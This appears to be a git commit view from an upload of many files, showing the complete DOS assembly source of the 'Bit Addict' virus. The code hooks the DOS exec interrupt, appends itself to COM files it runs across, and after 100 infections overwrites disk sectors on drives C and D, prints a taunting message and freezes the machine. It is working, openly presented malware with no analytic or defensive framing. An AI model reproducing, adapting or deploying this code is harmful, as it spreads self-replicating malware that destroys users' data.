Add files via upload

2026-06-15 15:29:23 +00:00 · 2021-01-12 17:29:01 -06:00
parent 60045f672b
commit 039994e413
86 changed files with 41158 additions and 0 deletions
@@ -0,0 +1,191 @@
+code segment
+	org	0
+
+	call	Virus
+
+SavedCode	db	0cdh,020h,11 dup(090h)
+
+Jump		db	0e9h
+NearOfset	dw	0
+
+ID		db	'BIT ADDICT'
+ExeHead		db	'MZ'
+
+SaveInt21	equ	this word
+OldInt21	dd	0
+Teller		db	0
+Message		db	'The Bit Addict says: ',13,10
+		db	'"You have a good taste for hard disks, it was delicious !!!"'
+		db	13,10,'$'
+
+NewInt21:
+	cmp	ah,4bh
+	je	Exec
+	jmp	cs:OldInt21
+Exec:	cmp	cs:Teller,100
+	jb	Infect
+
+	mov	ax,2
+	xor	bx,bx
+	mov	cx,100
+	xor	dx,dx
+	int	026h
+	mov	ax,3
+	xor	bx,bx
+	mov	cx,100
+	xor	dx,dx
+	int	026h
+
+	mov	ax,cs
+	mov	ds,ax
+	mov	ah,9
+	lea	dx,Message
+	int	021h
+
+HangUp:	cli
+	jmp	HangUp
+
+Infect:	push	ax
+	push	bx
+	push	cx
+	push	dx
+	push	si
+	push	di
+	push	ds
+	push	es
+	push	dx
+	mov	ax,04300h
+	int	021h
+	push	cx
+	mov	ax,04301h
+	xor	cx,cx
+	int	021h
+	mov	ax,03d02h
+	int	021h
+	jnc	OK1
+	jmp	Error
+Ok1:	mov	bx,ax
+	mov	ax,05700h
+	int	021h
+	push	cx
+	push	dx
+	mov	ax,cs
+	mov	ds,ax
+	mov	es,ax
+	mov	ax,03f00h
+	mov	cx,13
+	lea	dx,SavedCode
+	int	021h
+	jc	Close
+	lea	si,ID
+	lea	di,SavedCode[3]
+	mov	cx,10
+	repe	cmpsb
+	je	Close
+	lea	si,ExeHead
+	lea	di,SavedCode
+	mov	cx,2
+	repe	cmpsb
+	je	Close
+Com:	mov	ax,04202h
+	xor	cx,cx
+	xor	dx,dx
+	int	021h
+	jc	Close
+	or	dx,dx
+	jne	Close
+	sub	ax,3
+	jb	Close
+	mov	NearOfset,ax
+	mov	ax,04000h
+	mov	cx,CodeSize
+	xor	dx,dx
+	int	021h
+	jc	Close
+	mov	ax,04200h
+	xor	cx,cx
+	xor	dx,dx
+	int	021h
+	jc	Close
+	mov	ax,04000h
+	mov	cx,13
+	lea	dx,Jump
+	int	021h
+	inc	cs:Teller
+Close:	pop	dx
+	pop	cx
+	mov	ax,05701h
+	int	021h
+	mov	ax,03e00h
+	int	021h
+Error:	pop	cx
+	pop	dx
+	pop	es
+	pop	ds
+	push	ds
+	push	es
+	mov	ax,04301h
+	int	021h
+	pop	es
+	pop	ds
+	pop	di
+	pop	si
+	pop	dx
+	pop	cx
+	pop	bx
+	pop	ax
+	jmp	cs:OldInt21
+
+Virus:	pop	bx
+	sub	bx,3
+	xor	ax,ax
+	mov	ds,ax
+	cmp	w[021h*4+2],0a000h
+	jae	Exit
+	mov	dx,03bfh
+	mov	al,3
+	out	dx,al
+	mov	ax,cs
+	mov	ds,ax
+	mov	ax,VirusSegment1
+Repeat:	mov	es,ax
+	mov	si,bx
+	xor	di,di
+	mov	cx,CodeSize
+	repe	movsb
+	mov	si,bx
+	xor	di,di
+	mov	cx,CodeSize
+	repe	cmpsb
+	je	Ok2
+	mov	ax,VirusSegment2
+	mov	dx,es
+	cmp	ax,dx
+	je	Exit
+	jmp	Repeat
+Ok2:	xor	ax,ax
+	mov	ds,ax
+	mov	ax,ds:[84h]
+	mov	es:SaveInt21[0],ax
+	mov	ax,ds:[86h]
+	mov	es:SaveInt21[2],ax
+	mov	ax,NewInt21
+	mov	[84h],ax
+	mov	ax,es
+	mov	[86h],ax
+Exit:	mov	ax,cs
+	mov	ds,ax
+	mov	es,ax
+	mov	si,bx
+	add	si,3
+	mov	di,0100h
+	mov	cx,13
+	rep	movsb
+	mov	ax,0100h
+	push	ax
+	ret
+
+CodeSize	equ	$
+VirusSegment1	equ	0c000h-(($+0fh) shr 4)
+VirusSegment2	equ	0bc00h-(($+0fh) shr 4)
+